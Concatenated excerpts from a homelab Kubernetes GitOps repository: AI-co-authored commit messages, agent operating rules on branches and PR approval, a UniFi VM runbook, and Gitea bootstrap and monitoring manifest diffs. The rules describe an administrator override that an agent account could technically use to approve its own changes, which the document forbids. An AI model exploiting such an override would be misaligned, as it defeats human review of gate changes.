Co-Authored-By: Claude Opus 4.8 <[email protected]>
Prereq for the Flux v2.7+ upgrade (W4). Flux 2.4 already serves image.toolkit/v1,
so this is safe now. render.py source + platform/image-automation + L3 test + L1 goldens.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Migrate image.toolkit.fluxcd.io/v1beta2 -> /v1 for ImageRepository,
ImagePolicy, and ImageUpdateAutomation ahead of the Flux v2.7+ upgrade
(cluster-upgrade-plan §3.2). Flux v2.4 (current) already serves /v1, so
migrating the manifests now is a safe no-op at runtime.
- catalog/render.py: r_image_automation emits v1 for ImageRepository/ImagePolicy
- platform/image-automation/{image-update-automation,per-service/pihole.example}
- conformance L3 hands-off-update chainsaw applies v1 CRs
- conformance L1 goldens re-rendered to match (apiVersion-only diff)
No spec-field changes required: all spec fields used (image, interval,
imageRepositoryRef, filterTags.pattern/extract, policy.semver.range,
sourceRef, git.*, update.strategy/path) are unchanged in v1; the v1
messageTemplate already uses .Changed (not the removed .Updated).
apps/ golden unaffected (canonical render uses --no-image-automation).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Dedicated SSD (rpool/local-zfs) virtio2 disk per k3s VM, etcd migrated to
/var/lib/rancher/k3s/server/db on /dev/vdc, isolating etcd WAL fsync from the
HDD Longhorn churn. Applied live one node at a time (dev-2/dev-1/dev-3, leader
last) with rebuild-freeze; dev-3 also bumped 16->24GB. All 3 nodes verified:
etcd on SSD, 3/3 healthy, 18/18 volumes healthy, tofu plan clean.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Interim bridge to stop Longhorn replica-rebuild I/O storms on the shared HDD
Storage pool from starving etcd WAL fsync (crash-looping k3s / flapping the
kube-vip VIP). Adds a small dedicated SSD disk per node for etcd only; Longhorn
stays on HDD. See docs/plans/ssd-etcd-isolation.md.
tofu (infra/tofu):
- New vars etcd_ssd_datastore (default "local-zfs" = rpool/data, Micron 5100
SATA SSD mirror w/ PLP) and etcd_disk_gib (default 16).
- New virtio2 disk block on the SSD datastore per VM: discard=on, cache=none
(honor guest fsync straight to the ZFS ZIL — safe on PLP SSD), iothread=false.
Kept last (ascending interface) so bpg does not reorder virtio0/virtio1.
- Revert the debian_cloud_image resource to the long type name
proxmox_virtual_environment_download_file to match the R2 state: bpg >= 0.111
dropped the cross-type moved{} linkage to the short proxmox_download_file, so
the stale moved block failed EVERY plan with "Resource type mismatch" (broken
on main too). Aligning code to state yields a clean plan with no image
re-download. Short-name migration is deferred to a deliberate `tofu state mv`.
ansible (node_baseline):
- Format /dev/vdc (label k3s-etcd) and mount it at
/var/lib/rancher/k3s/server/db (defaults,noatime; no nofail so a missing etcd
disk fails loudly rather than silently landing etcd on the root HDD) before
k3s starts, so a rebuilt node comes up with etcd isolated on SSD. Data-safe:
filesystem module never reformats an existing fs.
Phase 1 only: non-disruptive. No tofu apply, no node/VM/etcd/Longhorn changes.
tofu plan verified: 0 to add, 3 to change, 0 to destroy — every VM an in-place
disk ADD (virtio2), dev-3 also an in-place memory 16384->24576; no VM replace.
Merge gate green (render==golden included).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Headlamp OIDC login failed with `unsupported protocol scheme ""`. The
kubernetes-sigs/headlamp chart `envFrom`s the headlamp-oidc Secret verbatim
and renders args like `-oidc-idp-issuer-url=$(OIDC_ISSUER_URL)`, so the Secret
keys must be the exact env var names. The keys were camelCase
(clientID/issuerURL/scopes/callbackURL/clientSecret), following the mistaken
`.example`, so `OIDC_ISSUER_URL` was never defined. Kubernetes left the literal
`$(OIDC_ISSUER_URL)` in the arg and Headlamp's OIDC discovery hit
`Get "$(OIDC_ISSUER_URL)/.well-known/openid-configuration": unsupported
protocol scheme ""`.
Rename the SOPS Secret keys to OIDC_CLIENT_ID / OIDC_CLIENT_SECRET /
OIDC_ISSUER_URL / OIDC_SCOPES / OIDC_CALLBACK_URL (values unchanged, still
SOPS/age-encrypted). Fix the `.example` and README so the correct, load-bearing
key names are documented and the camelCase footgun can't recur.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
The k3s VM disks are HDD-backed, so a full Longhorn replica rebuild's
sequential I/O can saturate the spindle and starve etcd's WAL fsync,
crash-looping etcd and flapping the kube-vip VIP (observed during a
rolling node resize). Cap rebuilds to one replica per node at a time so a
node bounce or replica replenishment can never storm the disks.
Set via HelmRelease defaultSettings.concurrentReplicaRebuildPerNodeLimit
(GitOps-managed, permanent). replica-replenishment-wait-interval stays at
the Longhorn default of 600s. Reference values.yaml kept in sync.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Raise per-node RAM from 16 GiB to 24 GiB for proper failover headroom.
Matches the live rolling resize of the three k3s-dev VMs on Proxmox
(qm set --memory 24576 per node, one at a time, KSM enabled first).
Single memory_mib var applies to all three nodes via for_each, so a
future `tofu apply` would resize all three at once and break etcd
quorum — the resize MUST be done live/rolling, not via apply.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Supersedes the previous kubectl-image repoint. The velero chart's pre-install
`velero-upgrade-crds` HOOK job runs docker.io/bitnami/kubectl, whose public
Docker Hub catalog Bitnami removed (Aug 2025); `bitnami/kubectl:1.31` 404s,
leaving the hook in Init:ImagePullBackOff so Velero never installs.
Repointing the hook to the exact-version rancher/kubectl:v1.31.5 (prior commit)
does not work: that image is distroless, and the hook's init runs
`/bin/sh -c "cp $(which sh)/... $(which kubectl) /tmp"` — with no /bin/sh it
crashes StartError (verified on-cluster).
The hook exists ONLY to UPDATE CRDs on chart upgrades — it is NOT how CRDs are
first installed. The chart ships all 13 Velero CRDs in its native `crds/`
directory, which Helm applies unconditionally on install (before hooks),
independent of this flag; the CRDs are already present on-cluster from Helm's
crds/ handling. Setting `upgradeCRDs: false` drops the fragile external
kubectl-image dependency entirely while CRDs still install. Trade-off: Helm
won't manage crds/ after install, so CRD schema upgrades become a
manual/Renovate step; acceptable given Velero's CRDs are stable.
All other Velero values (BSL -> versitygw s3://velero, kopia FSB node-agent, the
two Schedules, the velero-cloud-credentials secret) are unchanged.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
The velero chart's pre-install `velero-upgrade-crds` hook defaults its kubectl
image to docker.io/bitnami/kubectl, whose public Docker Hub catalog Bitnami
removed (Aug 2025). `docker.io/bitnami/kubectl:1.31` now 404s, leaving the hook
job in Init:ImagePullBackOff so Velero never installs (no Deployment,
node-agent, or BackupStorageLocation).
Set kubectl.image to the Rancher-maintained mirror docker.io/rancher/kubectl,
pinned to the cluster's exact k8s minor v1.31.5 (multi-arch amd64/arm64,
verified pullable via the Docker Hub registry API). All other Velero values
(BSL → versitygw s3://velero, kopia FSB node-agent, the two Schedules, the
velero-cloud-credentials secret) are unchanged.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-08-29 11:01:17 -05:00
538 changed files with 89805 additions and 1727 deletions
Measured 2026-10-05: on a worktree **you created yourself, in the session scratchpad**, that
command **succeeds** — rc 0, no prompt, with or without a branch checked out. The "worktree
removal is sandbox-blocked" note in circulation is about the `.claude/worktrees/agent-*` ones
belonging to *other* sessions, some of which are additionally `locked` on git's own terms. So:
remove yours, and only yours. If removal is refused, say so in your handoff and leave the
worktree registered — do **not**`rm -rf` the directory, which leaves a registered worktree
pointing at nothing and still holding the branch.
If someone *else's* stale worktree is holding the branch you need, do not try to reclaim the
branch name. Push a `rework/<pr-number>` branch to the PR's refspec instead.
### If you are already standing in the shared checkout with edits
Stop. Do not `git stash` (that moves other agents' work too). Create your worktree as
above, redo the edits there, and leave the shared checkout's HEAD and working tree exactly
as you found them.
### Gating from a worktree
Three known breakages, all with workarounds, all required every run: see §3, "Running the
gate from a worktree".
### If you are writing a brief for another agent
The brief must name **its own explicit branch** and tell it to create **its own worktree**
from `origin/main`. "Work on the current branch" and "continue in the checkout" are how
branch sprawl and cross-contamination got here: an agent given no workspace uses the one it
is started in, which is the shared one. Also carry §3's three gate workarounds into the
brief — an agent that cannot gate will report rc 3 as green.
## 1. Never push to `main`. Ever.
Every durable change reaches `main` exactly one way:
branch -> push the branch -> open a PR -> CI gate green -> human approval -> merge
There is no other path. Specifically:
- **Do not `git push origin main`.**
- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
- **Do not merge your own PR.** See the approval model below — and either way, the merge is
someone else's action, never yours.
### Who approves
**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
branch requires no human approval for one. That is a deliberate transfer of authority, on the
operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
add a human.
**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
approving review from someone who is not its author. The reason is narrow and structural — **a
change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
the weakened check. Everything else merges on green.
The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
sensitive path, so the policy cannot be widened or narrowed without a human.
That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
missing credential is a lock-out, here a skip would be a bypass.
**The administrator override (2026-10-01).** The rule above was unsatisfiable for the one human
who runs this repo: Gitea refuses to let an author approve their own PR, and `jakman85` is the
only collaborator — so a sensitive-path PR the operator opened could never be merged, *including
the PR that would fix that.* An administrator may therefore waive the review by posting this on
the PR:
/approve-override <reason>
**Post it as a PR *review* of type "Comment", not in the plain comment box.** CI's
`SETTINGS_API_TOKEN` is minted `[read:repository, read:admin]`, and `/issues/{n}/comments` sits
behind Gitea's *issue* scope — so an override typed into the comment box is **invisible to CI**,
and the stage reports it as a missing approval rather than as a permission problem (measured on
PR #38, 2026-10-02). `/pulls/{n}/reviews` is readable, so a review body works today. Both sources
are accepted and the gate names which it used; the comment box starts working once
`infra/gitea/set-ci-token.sh` is re-run to pick up `read:issue`.
The directive must **start a line**, the **reason is mandatory**, the poster's `admin`/`owner`
permission is re-checked **live** when the gate runs, and it must be **newer than the
head commit** — push again and you must override again. The overrider, the timestamp and the
reason are printed in the gate log and the job summary. For an administrator, "a change to the
gate cannot be gated by the gate" is therefore **advisory, not structural**; what is kept is an
attributed record of each waiver. Note that the agent account `gitea-admin` also holds `owner`
here, so an agent *can* clear this on its own PR — **do not**: posting that directive to unblock
your own agent work is exactly the self-approval the stage exists to prevent. Get the operator
to post it, or move the change out of the sensitive paths.
**`required_approvals` on `main` is `0`**, not 1 — the gate is the approver. That drops the
approval *count* only: `block_admin_merge_override` and `enable_status_check` both remain `true`,
so **a red gate is unmergeable by everyone, administrators included.**
- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
> **Many runbooks under `runbooks/` still say `git push origin main` IS the deploy.**
> That wording is **stale** — it predates the PR flow. It describes what Flux does
> (main is what the cluster follows), not what you are permitted to do. Honour this
> file, not that line. Fixing those runbooks is tracked work.
## 2. Enforcement (as of 2026-09-29: the rule is now MACHINE-ENFORCED)
Verified against the live Gitea on 2026-09-29:
| Expected | Actual |
|---|---|
| `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
| PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
| Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
| Gate cannot be overridden, by anyone | ✅ `block_admin_merge_override: true` |
| Human approval required before merge | ⬜ **No — `required_approvals: 0` since 2026-10-01.** The gate is the approver; sensitive paths are gated by `ci/approval-policy.sh` instead. See §1 |
The first three were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
true. They are true now because each was measured, and the push rejection was provoked rather
than assumed. **Re-measure before relying on any of them** — see §2b.
The fourth row deliberately changed on 2026-10-01. `required_approvals: 1` was a **lock-out**, not
a protection: with a single collaborator and Gitea refusing author self-approval, nothing could
satisfy it (measured on PR #35 — green gate, zero reviews, unmergeable). It also contradicted the
model already written into `ci/approval-policy.sh` and `ci/gate.sh`. Rationale and the live-change
script: `infra/gitea/allow-admin-self-merge.sh`.
Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
**Consequence for you:** CI now runs, but it does not yet *block* anything. Always run
the toolbox gate yourself and quote its numbers. Never describe a PR as "green" on the
strength of a check you have not seen report — and note that a **skipped** Gitea job
reports as `success`, so a green tick is not by itself evidence that anything ran.
## 2b. Never infer platform state from this repository
**This repo is not evidence about the live platform.** Neither is the handoff log
(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
believed at the time of writing, and both have been confidently wrong for a month at a
stretch.
On 2026-09-29 the log stated the merge gate was a required status check with a runner
online. The API said `branch_protections: []` and **zero** runners. Everything downstream
of that belief — "the gate enforces this", "your push would be rejected", "CI covers it" —
was wrong, and nothing in the tree could have revealed it, because the tree was the source
of the error.
**So, before asserting that any gate, protection, runner, secret, or workload is in a
| 1 Cluster bring-up | 3-node k3s HA, embedded etcd, kube-vip VIP, Cilium, Flux, SOPS. Originally Proxmox VMs; **now 3× mini-PC bare metal** (`k3s-prod-1/2/3`, `192.168.2.10/.11/.12`, k3s v1.36.4+k3s1, Debian 13) |
| 2 Platform core | Cilium · Longhorn · cert-manager (LE-prod wildcard) · ExternalDNS · Gateway API · split-horizon DNS, **both halves**: CoreDNS for pods, and **PiHole as the authoritative LAN resolver** for `${BASE_DOMAIN}` on udp/53 + tcp/53 at a pinned VIP (`192.168.2.23` on prod). The LAN half was claimed from the start but did not exist until 2026-09-14 — PiHole's Service was ClusterIP :80/:4180, so LAN clients ran on hand-maintained per-client `dnsmasq` files |
| 4 Observability | kube-prometheus-stack · Loki · Alloy · Alertmanager. **Velero still blocked on OQ-BKP**; image-automation authored but disabled |
| 4 Observability | kube-prometheus-stack · Loki · Alloy · Alertmanager. **Velero unblocked 2026-09-13** — backs up to Cloudflare R2 (OQ-BKP closed; the `velero-plugin-for-aws` tagging incompatibility needed a pinned plugin). Longhorn has **no** backup target by decision: volume data is protected by Velero + kopia to R2. image-automation authored but disabled |
| 5 IaaS | KubeVirt + CDI on real nested KVM; live-migratable RWX VM storage. The UniFi VM runs, but **UniFi OS Server is not yet installed in the guest** |
| **7 Production readiness** | **IN PROGRESS** (DR restore proven 2026-09-14; node-loss outstanding). Prod live on bare metal serving the apex; dev decommissioned; CNPG HA 3 instances with primaries spread one per node; NFS bulk media + legacy Nextcloud mounted; VPN egress on prod. Alerting made real 2026-09-13 (Longhorn, cert-manager, Flux and twelve app SLIs had all been unable to fire). **Open: `node-loss` (R-STATE-02) re-proven on prod.** |
> - VM — **Running** on **`k3s-prod-1`**, guest agent connected, Ubuntu 24.04.4 LTS,
> `LiveMigratable=True` / `StorageLiveMigratable=True`. VMI age 34h, VM 8d.
> - L4 LoadBalancer VIP **`192.168.2.21`** — allocated and held on both Services.
> - **UniFi OS Server IS INSTALLED.** This reverses the previous entry here. See below.
> - **The guest has no IP address.**That — not a missing install — is why `:11443`, `:8443` and
> `:8080` refuse connections.
## What is actually wrong (2026-09-14)
The earlier note in this file said "UOS is NOT installed; the guest is a bare, prepped Ubuntu".
That was wrong, and acting on it would have meant reinstalling over a working controller.
Evidence, all read-only, from the live cluster:
| Claim | How it was checked | Result |
|---|---|---|
| UOS is installed | `kubectl -n unifi logs virt-launcher-unifi-… -c guest-console-log` | the current boot starts **`uosserver.service` — UniFi OS Server Service** and **`uosserver-updater.service`** |
| …and it is a real install, not a stub | KubeVirt guest-agent `filesystemlist` subresource | `/` is **6.3 GB used of 40 GB** — a bare Ubuntu cloud image with our packages is ~2 GB |
| the guest has no IP | `kubectl -n unifi get vmi unifi -o json` → `.status.interfaces` | `enp1s0`, `linkState: up`, **no `ipAddress` field at all**; the `kubectl get vmi` IP column is empty |
| …confirmed at the link layer | `kubectl -n unifi exec virt-launcher-… -c compute -- ip neigh` | **`10.0.2.2 dev k6t-eth0 FAILED`** — the guest does not answer ARP for its masquerade address |
| the ports are dead end-to-end | `/dev/tcp` probes from inside virt-launcher, to the pod IP **and** to `10.0.2.2` directly | 11443 / 8443 / 8080 / **22** all refused — i.e. the VIP and the CNP are exonerated |
So the controller is installed and its units start; nothing downstream of the guest's own network
stack can work. The interface was fine at boot (the console log reaches `network-online.target` at
~10s and cloud-init completes at 18.5s), so the address was lost afterwards — the obvious suspect is
UOS taking over host networking, but **that has not been proven and cannot be, from outside the
guest.** Diagnosing it needs a shell, which is the second problem below.
**There is currently no way into this guest.** The shipped cloud-init installs no SSH key and sets
no password, so the stock `ubuntu` account is locked and a serial console reaches a login prompt
nobody can answer. SSH would not rescue it either: the masquerade interface forwards **only** the
ports declared in `30-virtualmachine.yaml`, and 22 is not one of them — the probe above shows the
guest RSTs on 22 exactly as it does on 11443. Closing that hole is what `console-password` in the
new Secret is for.
## What this is
@@ -29,24 +59,39 @@ datastore** inside a Podman container stack — so **no separate MongoDB compani
| `10-default-deny.yaml` | R-NET-01 baseline: deny all, allow only DNS |
| `20-datavolume.yaml` | CDI **http** import of the Ubuntu 24.04 cloud image onto a `longhorn-vm`**RWX/Block** disk (**40Gi**). First real CDI http import on the cluster |
| `30-virtualmachine.yaml` | The VM: 2 vCPU / 4Gi, `running: true`, `evictionStrategy: LiveMigrate`, a **pinned firmware UUID** (= the cloud-init instance-id), the **UOSDATA secret disk**, and a minimal **inline** cloud-init that installs `install-uos` + a per-boot systemd unit |
- "# Idempotent break-glass admin bootstrap. Runs alongside the gitea entrypoint\n# (which, with INSTALL_LOCK=true, headless-installs + migrates the DB on first\n# boot). Waits for the DB, then creates the admin only if it does not exist.\nset -u\nexport HOME=/data/git\ni=0\nuntil su-exec git gitea admin user list >/dev/null 2>&1; do\n i=$((i + 1))\n [ \"$i\" -ge 150 ] && { echo \"[gitea-bootstrap] DB not ready after wait; skipping\" >&2; exit 0; }\n sleep 2\ndone\nif su-exec git gitea admin user list --admin 2>/dev/null | awk 'NR>1{print $2}' | grep -qx \"$GITEA_ADMIN_USERNAME\"; then\n echo \"[gitea-bootstrap] admin '$GITEA_ADMIN_USERNAME' already present\"\nelse\n n=0\n until su-exec git gitea admin user create \\\n --username \"$GITEA_ADMIN_USERNAME\" \\\n --password \"$GITEA_ADMIN_PASSWORD\" \\\n --email \"[email protected]\" \\\n --admin --must-change-password=false; do\n n=$((n + 1))\n [ \"$n\" -ge 10 ] && { echo \"[gitea-bootstrap] admin create failed after retries\" >&2; break; }\n sleep 3\n done\n echo \"[gitea-bootstrap] created break-glass admin '$GITEA_ADMIN_USERNAME'\"\nfi\n# --- Keycloak OIDC login source (idempotent add-or-update; R-IDP-02/06) ---\n# Registers the confidential `gitea` client as the OAuth2 login source \"keycloak\" against the\n# homelab realm's discovery doc. The `groups` claim maps platform-admins -> Gitea admin\n# (--admin-group). Missing secret => skip (break-glass admin still works), so an unfilled\n# secret never crashes the pod.\n#\n# HARDENED (was a silent first-boot RACE): this step used to fire before the app/network was\n# ready and swallow its failure (|| echo ... >&2, exit 0), so SSO silently never registered.\n# Now it (1) waits \u2014 bounded, ~90s \u2014 for the Keycloak discovery doc to serve HTTP 200,\n# (2) registers (update-in-place if present, else create), (3) VERIFIES the source actually\n# persisted and retries the whole cycle, and (4) on give-up logs LOUDLY to stderr AND a marker\n# file on the persistent /data volume WITHOUT crashlooping the pod (break-glass admin stays\n# usable). The verify-then-retry loop is the real guarantee against \"exit 0 but nothing stuck\".\nGITEA_DISCOVERY_URL=https://keycloak.home.keithjackson.dev/realms/homelab/.well-known/openid-configuration\ngitea_oidc_fail() {\n echo \"[gitea-oidc] FAILED to register 'keycloak' login source: $1\" >&2\n { echo \"$(date -u +%Y-%m-%dT%H:%M:%SZ) [gitea-oidc] FAILED: $1\"; } >> /data/gitea-oidc-bootstrap.log 2>/dev/null || true\n}\nif [ -z \"${GITEA_OIDC_CLIENT_SECRET:-}\" ]; then\n echo \"[gitea-oidc] GITEA_OIDC_CLIENT_SECRET unset; skipping OIDC source (break-glass admin only)\"\nelse\n # (1) Wait up to ~90s for the Keycloak discovery doc to be reachable (HTTP 200).\n d=0; disc_ok=0\n while [ \"$d\" -lt 45 ]; do\n if [ \"$(curl -sS -o /dev/null -w '%{http_code}' --max-time 5 \"$GITEA_DISCOVERY_URL\" 2>/dev/null)\" = \"200\" ]; then\n disc_ok=1; break\n fi\n d=$((d + 1)); sleep 2\n done\n [ \"$disc_ok\" = 1 ] || gitea_oidc_fail \"Keycloak discovery endpoint not reachable (HTTP 200) within timeout\"\n # (2)+(3) Register (update-in-place or create) then VERIFY it persisted; retry the whole cycle.\n r=0; reg_ok=0\n while [ \"$r\" -lt 10 ]; do\n oidc_id=$(su-exec git gitea admin auth list 2>/dev/null | awk '$2==\"keycloak\"{print $1; exit}')\n if [ -n \"$oidc_id\" ]; then\n su-exec git gitea admin auth update-oauth --id \"$oidc_id\" \\\n --name keycloak --provider openidConnect --key gitea \\\n --secret \"$GITEA_OIDC_CLIENT_SECRET\" \\\n --auto-discover-url \"$GITEA_DISCOVERY_URL\" \\\n --scopes \"openid email profile\" --group-claim-name groups --admin-group platform-admins >/dev/null 2>&1 || true\n else\n su-exec git gitea admin auth add-oauth \\\n --name keycloak --provider openidConnect --key gitea \\\n --secret \"$GITEA_OIDC_CLIENT_SECRET\" \\\n --auto-discover-url \"$GITEA_DISCOVERY_URL\" \\\n --scopes \"openid email profile\" --group-claim-name\
\ groups --admin-group platform-admins >/dev/null 2>&1 || true\n fi\n # VERIFY: the \"keycloak\" source must actually be listed now (guards the exit-0-but-nothing-persisted race).\n if su-exec git gitea admin auth list 2>/dev/null | awk '$2==\"keycloak\"{f=1} END{exit !f}'; then\n reg_ok=1; break\n fi\n r=$((r + 1)); sleep 3\n done\n if [ \"$reg_ok\" = 1 ]; then\n echo \"[gitea-oidc] login source 'keycloak' registered and verified\"\n else\n gitea_oidc_fail \"add/update-oauth ran but the 'keycloak' source did not persist after retries\"\n fi\nfi\n"
- "# Idempotent break-glass admin bootstrap. Runs alongside the gitea entrypoint\n# (which, with INSTALL_LOCK=true, headless-installs + migrates the DB on first\n# boot). Waits for the DB, then creates the admin only if it does not exist.\nset -u\nexport HOME=/data/git\ni=0\nuntil su-exec git gitea admin user list >/dev/null 2>&1; do\n i=$((i + 1))\n [ \"$i\" -ge 150 ] && { echo \"[gitea-bootstrap] DB not ready after wait; skipping\" >&2; exit 0; }\n sleep 2\ndone\nif su-exec git gitea admin user list --admin 2>/dev/null | awk 'NR>1{print $2}' | grep -qx \"$GITEA_ADMIN_USERNAME\"; then\n echo \"[gitea-bootstrap] admin '$GITEA_ADMIN_USERNAME' already present\"\nelse\n n=0\n until su-exec git gitea admin user create \\\n --username \"$GITEA_ADMIN_USERNAME\" \\\n --password \"$GITEA_ADMIN_PASSWORD\" \\\n --email \"[email protected]\" \\\n --admin --must-change-password=false; do\n n=$((n + 1))\n [ \"$n\" -ge 10 ] && { echo \"[gitea-bootstrap] admin create failed after retries\" >&2; break; }\n sleep 3\n done\n echo \"[gitea-bootstrap] created break-glass admin '$GITEA_ADMIN_USERNAME'\"\nfi\n# --- Keycloak OIDC login source (idempotent add-or-update; R-IDP-02/06) ---\n# Registers the confidential `gitea` client as the OAuth2 login source \"keycloak\" against the\n# homelab realm's discovery doc. The `groups` claim maps platform-admins -> Gitea admin\n# (--admin-group). Missing secret => skip (break-glass admin still works), so an unfilled\n# secret never crashes the pod.\n#\n# HARDENED (was a silent first-boot RACE): this step used to fire before the app/network was\n# ready and swallow its failure (|| echo ... >&2, exit 0), so SSO silently never registered.\n# Now it (1) waits \u2014 bounded, ~90s \u2014 for the Keycloak discovery doc to serve HTTP 200,\n# (2) registers (update-in-place if present, else create), (3) VERIFIES the source actually\n# persisted and retries the whole cycle, and (4) on give-up logs LOUDLY to stderr AND a marker\n# file on the persistent /data volume WITHOUT crashlooping the pod (break-glass admin stays\n# usable). The verify-then-retry loop is the real guarantee against \"exit 0 but nothing stuck\".\nGITEA_DISCOVERY_URL=https://keycloak.${BASE_DOMAIN}/realms/homelab/.well-known/openid-configuration\ngitea_oidc_fail() {\n echo \"[gitea-oidc] FAILED to register 'keycloak' login source: $1\" >&2\n { echo \"$(date -u +%Y-%m-%dT%H:%M:%SZ) [gitea-oidc] FAILED: $1\"; } >> /data/gitea-oidc-bootstrap.log 2>/dev/null || true\n}\n# NOTE the `$$` escape below \u2014 it is load-bearing. apps-wave-0 declares postBuild.\n# substituteFrom cluster-vars, so Flux envsubst rewrites this whole manifest at RECONCILE\n# time, before any container runs. Written unescaped, `$${GITEA_OIDC_CLIENT_SECRET:-}` is not\n# a cluster-var, so envsubst blanked it and the guard reconciled as `[ -z \"\" ]` \u2014 ALWAYS TRUE\n# \u2014 making every line below (discovery wait, add/update-oauth, verify-then-retry) DEAD CODE on\n# every boot since 8738871 (2026-08-27). SSO kept working only because the login source was\n# already in the DB; a PVC rebuild or fresh cluster would have come up with NO OIDC at all.\n# Flux STRICT substitution cannot catch this \u2014 it EXEMPTS default-operator forms by design.\n# `$${VAR}` is the escape: envsubst emits it back as a plain brace expansion for the shell.\n# Bare `$VAR` and `$(cmd)` are left alone and need NO escaping \u2014 which is why the\n# `$GITEA_OIDC_CLIENT_SECRET` uses below always worked and only the guards broke.\n# Contract: clusters/base/apps-vms.yaml. Enforced at render time by catalog/render.py.\nif [ -z \"$${GITEA_OIDC_CLIENT_SECRET:-}\" ]; then\n echo \"[gitea-oidc] GITEA_OIDC_CLIENT_SECRET unset; skipping OIDC source (break-glass admin only)\"\nelse\n # (1) Wait up to ~90s for the Keycloak discovery doc to be reachable (HTTP 200).\n d=0; disc_ok=0\n while [ \"$d\" -lt 45 ]; do\n if [ \"$(curl -sS -o /dev/null -w '%{http_code}' --max-time 5 \"$GITEA_DISCOVERY_URL\" 2>/dev/null)\" = \"200\" ]; then\n disc_ok=1;\
\ break\n fi\n d=$((d + 1)); sleep 2\n done\n [ \"$disc_ok\" = 1 ] || gitea_oidc_fail \"Keycloak discovery endpoint not reachable (HTTP 200) within timeout\"\n # (2)+(3) Register (update-in-place or create) then VERIFY it persisted; retry the whole cycle.\n r=0; reg_ok=0\n while [ \"$r\" -lt 10 ]; do\n oidc_id=$(su-exec git gitea admin auth list 2>/dev/null | awk '$2==\"keycloak\"{print $1; exit}')\n if [ -n \"$oidc_id\" ]; then\n su-exec git gitea admin auth update-oauth --id \"$oidc_id\" \\\n --name keycloak --provider openidConnect --key gitea \\\n --secret \"$GITEA_OIDC_CLIENT_SECRET\" \\\n --auto-discover-url \"$GITEA_DISCOVERY_URL\" \\\n --scopes \"openid email profile\" --group-claim-name groups --admin-group platform-admins >/dev/null 2>&1 || true\n else\n su-exec git gitea admin auth add-oauth \\\n --name keycloak --provider openidConnect --key gitea \\\n --secret \"$GITEA_OIDC_CLIENT_SECRET\" \\\n --auto-discover-url \"$GITEA_DISCOVERY_URL\" \\\n --scopes \"openid email profile\" --group-claim-name groups --admin-group platform-admins >/dev/null 2>&1 || true\n fi\n # VERIFY: the \"keycloak\" source must actually be listed now (guards the exit-0-but-nothing-persisted race).\n if su-exec git gitea admin auth list 2>/dev/null | awk '$2==\"keycloak\"{f=1} END{exit !f}'; then\n reg_ok=1; break\n fi\n r=$((r + 1)); sleep 3\n done\n if [ \"$reg_ok\" = 1 ]; then\n echo \"[gitea-oidc] login source 'keycloak' registered and verified\"\n else\n gitea_oidc_fail \"add/update-oauth ran but the 'keycloak' source did not persist after retries\"\n fi\nfi\n# A postStart hook MUST exit 0 \u2014 a non-zero exit makes the kubelet KILL the container\n# (FailedPostStartHook -> CrashLoopBackOff). This hook already ends 0 on both paths, but\n# it is made EXPLICIT so the guarantee does not depend on whatever statement happens to\n# be last. nextcloud's equivalent hook did depend on that and crashlooped on 2026-09-01,\n# the moment its OIDC guard was fixed and the block actually ran for the first time.\nexit 0\n"
# CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): gitea-allow-internet-egress
apiVersion:cilium.io/v2
kind:CiliumNetworkPolicy
@@ -185,6 +206,10 @@ spec:
egress:
- toEntities:
- world
- toEndpoints:
- matchLabels:
io.kubernetes.pod.namespace:keycloak
app:keycloak
---
# HTTPRoute gitea-3000 (R-TLS/R-DNS)
apiVersion:gateway.networking.k8s.io/v1
@@ -203,7 +228,7 @@ spec:
namespace:gateway
sectionName:https
hostnames:
- gitea.home.keithjackson.dev
- gitea.${BASE_DOMAIN}
rules:
- matches:
- path:
@@ -213,26 +238,6 @@ spec:
- name:gitea
port:3000
---
# ServiceMonitor (R-OBS-01)
apiVersion:monitoring.coreos.com/v1
kind:ServiceMonitor
metadata:
name:gitea
namespace:gitea
labels:
release:kube-prometheus-stack
app.kubernetes.io/name:gitea
spec:
selector:
matchLabels:
app.kubernetes.io/name:gitea
namespaceSelector:
matchNames:
- gitea
endpoints:
- port:metrics
interval:30s
---
# PrometheusRule SLI alerts (R-OBS-01)
apiVersion:monitoring.coreos.com/v1
kind:PrometheusRule
@@ -247,11 +252,11 @@ spec:
- name:gitea.slis
rules:
- alert:gitea-down
expr:up{job="gitea"} == 0
expr:kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"} == 0 or absent(kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"})
for:5m
labels:
severity:critical
service:gitea
annotations:
summary:gitea is down
description:'gitea has been unreachable for 5m (SLI:up).'
description:'gitea:its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_deployment_status_replicas_available).'
expr:kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"} == 0 or absent(kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"})
for:5m
labels:
severity:critical
service:jackett
annotations:
summary:jackett is down
